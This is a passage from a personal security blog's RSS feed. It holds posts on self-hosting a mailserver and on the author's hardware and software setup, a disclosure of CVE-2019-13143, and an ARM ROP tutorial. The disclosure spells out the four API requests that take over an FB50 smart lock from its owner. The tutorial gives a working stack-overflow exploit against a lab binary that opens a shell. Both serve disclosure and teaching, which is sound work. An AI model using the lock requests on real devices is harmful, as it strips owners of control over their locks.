1252<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p>
1253</li>
1254</ol>
1255</div>
1256]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up
1257around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
1258I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1259
1260<p>For this attempt, I wanted a simpler approach. I recall how terribly
1261confusing Dovecot & Postfix were to configure and hence I decided to look
1262for a containerized solution, that most importantly, runs on my cheap $5
1263Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB
1264is actually available. So yeah, <em>pretty</em> tight.</p>
1265
1266<h2 id="whats-available">What’s available</h2>
1267
1268<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
1269These are the ones I came across:</p>
1270
1271<ul>
1272<li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source
1273and free (as in beer), but you’ll have to pay for the extra stuff.</p></li>
1274<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io,
1275but ships with a web UI that I didn’t need. </p></li>
1276<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
1277they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
1278<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
1279a mention. It however, needs a fresh box to work with. A box with absolutely
1280nothing else on it. I can’t afford to do that.</p></li>
1281<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
1282</ul>
1283
1284<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>
1285
1286<p>The first thing that caught my eye in the README:</p>
1287
1288<blockquote>
1289 <p>Recommended:</p>
1290
1291 <ul>
1292 <li>1 CPU</li>
1293 <li>1GB RAM</li>
1294 </ul>
1295
1296 <p>Minimum:</p>
1297
1298 <ul>
1299 <li>1 CPU</li>
1300 <li>512MB RAM</li>
1301 </ul>
1302</blockquote>
1303
1304<p>Fantastic, I can somehow squeeze this into my existing VPS.
1305Setup was fairly simple & the docs are pretty good. It employs a single
1306<code>.env</code> file for configuration, which is great.
1307However, I did run into a couple of hiccups here and there.</p>
1308
1309<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
1310of memory.</p>
1311
1312<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
1313</code></pre>
1314
1315<p>But it eventually worked after a couple of attempts.</p>
1316
1317<p>The next thing I struggled with — DNS. Specifically, the with the step where
1318the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
1319<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
1320isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into
1321a <code>TXT</code> record. </p>
1322
1323<p>This is what it looks like.</p>
1324
1325<pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; "
1326 "p=<key>"
1327 "<more key>" ) ; ----- DKIM key mail for icyphox.sh
1328</code></pre>
1329
1330<p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>,
1331and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>.
1332Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
1333
1334<p>To simplify debugging DNS issues later, it’s probably a good idea to
1335point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
1336<code>A</code> record.
1337You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider
1338uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>.
1339And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
1340your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>.
1341I learnt this part the hard way, when my outgoing email kept getting
1342rejected by Tutanota’s servers.</p>
1343
1344<p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly
1345documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
1346and look at an example. In short, install <code>certbot</code>, have port 80 free,
1347and run </p>
1348
1349<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
1350</code></pre></div>
1351
1352<p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
1353the container, something like so:</p>
1354
1355<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
1356
1357<span class="nt">volumes</span><span class="p">:</span>
1358 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
1359 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
1360 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
1361 <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
1362
1363<span class="nn">...</span>
1364</code></pre></div>
1365
1366<p>With this done, you shouldn’t have mail clients complaining about
1367wonky certs for which you’ll have to add an exception manually.</p>
1368
1369<h2 id="why-would-you">Why would you…?</h2>
1370
1371<p>There are a few good reasons for this:</p>
1372
1373<h2 id="privacy">Privacy</h2>
1374
1375<p>No really, this is <em>the</em> best choice for truly private
1376email. Not ProtonMail, not Tutanota. Sure, they claim so and I don’t
1377dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
1378
1379<blockquote>
1380 <p>Truly secure systems do not require you to trust the service provider.</p>
1381</blockquote>
1382
1383<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
1384how can you really be sure that it isn’t a backdoored version of it?</p>
1385
1386<p>When you host your own mailserver, you truly own your email without having to rely on any
1387third-party.
1388This isn’t an attempt to spread FUD. In the end, it all depends on your
1389threat model™.</p>
1390
1391<h2 id="decentralization">Decentralization</h2>
1392
1393<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
1394active users. That’s obscene.
1395Email was designed to be decentralized but big corps swooped in and
1396made it a product. They now control your data, and it isn’t unknown that
1397Google reads your mail. This again loops back to my previous point, privacy.
1398Decentralization guarantees privacy. When you control your mail, you subsequently
1399control who reads it.</p>
1400
1401<h2 id="personalization">Personalization</h2>
1402
1403<p>Can’t ignore this one. It’s cool to have a custom email address to flex.</p>
1404
1405<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
1406
1407<p>Pfft, this is no competition.</p>
1408
1409<div class="footnotes">
1410<hr />
1411<ol>
1412<li id="fn-1">
1413<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1414</li>
1415
1416<li id="fn-2">
1417<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1418</li>
1419
1420<li id="fn-3">
1421<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn’t trust Signal. <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1422</li>
1423</ol>
1424</div>
1425]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7’s Blog</a>, with my edits</em>)</p>
1426
1427<h2 id="the-lock">The lock</h2>
1428
1429<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
1430Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
1431across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
1432
1433<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
1434the Play/App Store to function. The app requires the user to create an
1435account before further functionality is available.
1436It also facilitates configuring the fingerprint,
1437and unlocking from a range via Bluetooth.</p>
1438
1439<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
1440and the Android app.</p>
1441
1442<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>
1443
1444<p>Android phones have the ability to capture Bluetooth (HCI) traffic
1445which can be enabled under Developer Options under Settings. We made
1446around 4 “unlocks” from the Android phone, as seen in the screenshot.</p>
1447
1448<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
1449
1450<p>This is the value sent in the <code>Write</code> request:</p>
1451
1452<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
1453
1454<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
1455but that didn’t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1456
1457<h2 id="via-the-android-app">Via the Android app</h2>
1458
1459<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn’t get us too
1460far since most of it was obfuscated. Why bother when there exists an
1461easier approach – BurpSuite.</p>
1462
1463<p>We captured and played around with a bunch of requests and responses,
1464and finally arrived at a working exploit chain.</p>
1465
1466<h2 id="the-exploit">The exploit</h2>
1467
1468<p>The entire exploit is a 4 step process consisting of authenticated
1469HTTP requests:</p>
1470
1471<ol>
1472<li>Using the lock’s MAC (obtained via a simple Bluetooth scan in the
1473vicinity), get the barcode and lock ID</li>
1474<li>Using the barcode, fetch the user ID</li>
1475<li>Using the lock ID and user ID, unbind the user from the lock</li>
1476<li>Provide a new name, attacker’s user ID and the MAC to bind the attacker
1477to the lock</li>
1478</ol>
1479
1480<p>This is what it looks like, in essence (personal info redacted).</p>
1481
1482<h3 id="request-1">Request 1</h3>
1483
1484<pre><code>POST /oklock/lock/queryDevice
1485{"mac":"XX:XX:XX:XX:XX:XX"}
1486</code></pre>
1487
1488<p>Response:</p>
1489
1490<pre><code>{
1491 "result":{
1492 "alarm":0,
1493 "barcode":"<BARCODE>",
1494 "chipType":"1",
1495 "createAt":"2019-05-14 09:32:23.0",
1496 "deviceId":"",
1497 "electricity":"95",
1498 "firmwareVersion":"2.3",
1499 "gsmVersion":"",
1500 "id":<LOCK ID>,
1501 "isLock":0,
1502 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1503 "lockPwd":"000000",
1504 "mac":"XX:XX:XX:XX:XX:XX",
1505 "name":"lock",
1506 "radioName":"BlueFPL",
1507 "type":0
1508 },
1509 "status":"2000"
1510}
1511</code></pre>
1512
1513<h3 id="request-2">Request 2</h3>
1514
1515<pre><code>POST /oklock/lock/getDeviceInfo
1516
1517{"barcode":"https://app.oklok.com.cn/app.html?id=<BARCODE>"}
1518</code></pre>
1519
1520<p>Response:</p>
1521
1522<pre><code> "result":{
1523 "account":"email@some.website",
1524 "alarm":0,
1525 "barcode":"<BARCODE>",
1526 "chipType":"1",
1527 "createAt":"2019-05-14 09:32:23.0",
1528 "deviceId":"",
1529 "electricity":"95",
1530 "firmwareVersion":"2.3",
1531 "gsmVersion":"",
1532 "id":<LOCK ID>,
1533 "isLock":0,
1534 "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
1535 "lockPwd":"000000",
1536 "mac":"XX:XX:XX:XX:XX:XX",
1537 "name":"lock",
1538 "radioName":"BlueFPL",
1539 "type":0,
1540 "userId":<USER ID>
1541 }
1542</code></pre>
1543
1544<h3 id="request-3">Request 3</h3>
1545
1546<pre><code>POST /oklock/lock/unbind
1547
1548{"lockId":"<LOCK ID>","userId":<USER ID>}
1549</code></pre>
1550
1551<h3 id="request-4">Request 4</h3>
1552
1553<pre><code>POST /oklock/lock/bind
1554
1555{"name":"newname","userId":<USER ID>,"mac":"XX:XX:XX:XX:XX:XX"}
1556</code></pre>
1557
1558<h2 id="thats-it-the-scary-stuff">That’s it! (& the scary stuff)</h2>
1559
1560<p>You should have the lock transferred to your account. The severity of this
1561issue lies in the fact that the original owner completely loses access to
1562their lock. They can’t even “rebind” to get it back, since the current owner
1563(the attacker) needs to authorize that. </p>
1564
1565<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
1566Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
1567“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1568
1569<p><em>shudders</em></p>
1570
1571<h2 id="proof-of-concept">Proof of Concept</h2>
1572
1573<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1574
1575<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1576
1577<h2 id="disclosure-timeline">Disclosure timeline</h2>
1578
1579<ul>
1580<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1581<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1582<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1583<li>No response from vendor</li>
1584<li><strong>2nd August 2019</strong>: Public disclosure</li>
1585</ul>
1586
1587<h2 id="lessons-learnt">Lessons learnt</h2>
1588
1589<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
1590with keys. With the IoT plague spreading, it brings in a large attack surface
1591to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
1592
1593<p>The IoT security scene is rife with bugs from over 10 years ago, like
1594executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
1595practices in general.</p>
1596
1597<p>Our existing threat models and scenarios have to be updated to factor
1598in these new exploitation possibilities. This also broadens the playing
1599field for cyber warfare and mass surveillance campaigns. </p>
1600
1601<h2 id="researcher-info">Researcher info</h2>
1602
1603<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1604
1605<ul>
1606<li>Anirudh Oppiliappan (me)</li>
1607<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1608<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1609</ul>
1610
1611<div class="footnotes">
1612<hr />
1613<ol>
1614<li id="fn-1">
1615<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1616</li>
1617
1618<li id="fn-2">
1619<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1620</li>
1621
1622<li id="fn-3">
1623<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1624</li>
1625</ol>
1626</div>
1627]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1628assembly to follow along. I highly recommend
1629<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1630Basics</a>. Once you’re
1631comfortable with it, proceed with the next bit — environment setup.</p>
1632
1633<h2 id="setup">Setup</h2>
1634
1635<p>Since we’re working with the ARM architecture, there are two options to go
1636forth with: </p>
1637
1638<ol>
1639<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
1640And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1641The scripts found inside should be self-explanatory.</li>
1642<li>Use actual ARM hardware, like an RPi.</li>
1643</ol>
1644
1645<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1646may use <code>radare2</code>, IDA or anything else, really. All of which can be
1647trivially installed.</p>
1648
1649<p>And for the sake of simplicity, disable ASLR:</p>
1650
1651<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
1652</code></pre></div>
1653
1654<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1655<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1656
1657<p>Compile it:</p>
1658
1659<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1660</code></pre></div>
1661
1662<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1663
1664<h2 id="a-primer-on-rop">A primer on ROP</h2>
1665
1666<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1667used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1668In essence, no code in the binary is actually modified and the entire exploit
1669is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1670
1671<p>A gadget is essentially a small sequence of code (instructions), ending with
1672a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1673code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1674These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1675to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1676there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1677
1678<p>In practice, the process of executing a ropchain is something like this:</p>
1679
1680<ul>
1681<li>confirm the existence of a stack-based buffer overflow</li>
1682<li>identify the offset at which the instruction pointer gets overwritten</li>
1683<li>locate the addresses of the gadgets you wish to use</li>
1684<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1685of your gadgets</li>
1686</ul>
1687
1688<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
1689Check it out, it might be just what you needed for that “aha!” moment :)</p>
1690
1691<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1692that should put things into perspective.</p>
1693
1694<h2 id="exploring-our-binary">Exploring our binary</h2>
1695
1696<p>Start by running it, and entering any arbitrary string. On entering a fairly
1697large string, say, “A” × 20, we
1698see a segmentation fault occur.</p>
1699
1700<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1701
1702<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1703
1704<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1705
1706<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
1707<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1708
1709<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1710
1711<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1712to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
1713never actually called.</p>
1714
1715<p>Disassembling the <code>gadget</code> function:</p>
1716
1717<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1718
1719<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1720which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1721instruction in the middle. This is a <strong>gadget</strong>.</p>
1722
1723<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1724arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
1725are used for this. So this gadget effectively allows us to pass arguments to
1726functions using <code>r0</code>, and subsequently jumping to them by passing its address
1727in <code>pc</code>. Neat.</p>
1728
1729<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1730
1731<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1732
1733<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1734So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1735function.</p>
1736
1737<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1738of exploitation by messing around with inputs.</p>
1739
1740<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>
1741
1742<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1743screenshot.</p>
1744
1745<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1746
1747<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1748the <code>pc</code> has been overwritten with our input.
1749So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1750
1751<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1752control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1753
1754<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1755of the second instruction — <code>add r11, sp, #4</code>.
1756For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1757the address of <code>winner</code>. Note the endianness.</p>
1758
1759<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
1760</code></pre></div>
1761
1762<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1763
1764<p>The reason we don’t jump to the first instruction is because we want to control the stack
1765ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1766those out after <code>winner</code> is done executing and we will no longer control
1767where it jumps to.</p>
1768
1769<p>So that didn’t do much, just prints out a string “Nothing much here…”.
1770But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1771to do what we want (run a command, execute a shell, etc.).</p>
1772
1773<p>To do that, we’ll follow a multi-step process: </p>
1774
1775<ol>
1776<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1777<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1778<code>r0</code>.</li>
1779<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1780</ol>
1781
1782<p>The pseudo-code is something like this:</p>
1783
1784<pre><code>string = AAAABBBBCCCCDDDDEEEE
1785gadget = # addr of gadget
1786binsh = # addr of /bin/sh
1787system = # addr of system()
1788
1789print(string + gadget + binsh + system)
1790</code></pre>
1791
1792<p>Clean and mean.</p>
1793
1794<h2 id="the-exploit">The exploit</h2>
1795
1796<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1797It allows us to pack the bytes of addresses to the endianness of our choice.
1798It probably does a lot more, but who cares.</p>
1799
1800<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1801at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1802
1803<pre><code>(gdb) find &system, +9999999, "/bin/sh"
1804</code></pre>
1805
1806<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1807
1808<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1809found from the disassmblies from earlier. Here’s the final exploit code:</p>
1810
1811<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1812
1813<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1814<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
1815<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1816<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1817
1818<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1819</code></pre></div>
1820
1821<p>Honestly, not too far off from our pseudo-code :)</p>
1822
1823<p>Let’s see it in action:</p>
1824
1825<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1826
1827<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1828when the pipe closes, since there’s no input coming in from STDIN.
1829To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1830to the shell. Nifty trick.</p>
1831
1832<h2 id="conclusion">Conclusion</h2>
1833
1834<p>This was a fairly basic challenge, with everything laid out conveniently.
1835Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1836to acheive code execution.</p>
1837
1838<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1839]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>
1840
1841<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
18428 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1843
1844<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1845I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1846
1847<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1848
1849<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
1850For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1851
1852<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
1853Great pair of headphones, although the ear cups need replacing.</p>
1854
1855<h2 id="and-the-software">And the software</h2>
1856
1857<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1858window manager, all riced. I now use whatever JustWorks™.</del></p>
1859
1860<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
1861running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1862
1863<p>Here’s a (riced) screenshot of my desktop. </p>
1864
1865<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1866
1867<p>Most of my work is done in either the browser, or the terminal.
1868My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1869a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1870My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1871I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1872
1873<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1874clean and a single command to drop into a Kali shell.</p>
1875
1876<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1877The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1878
1879<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
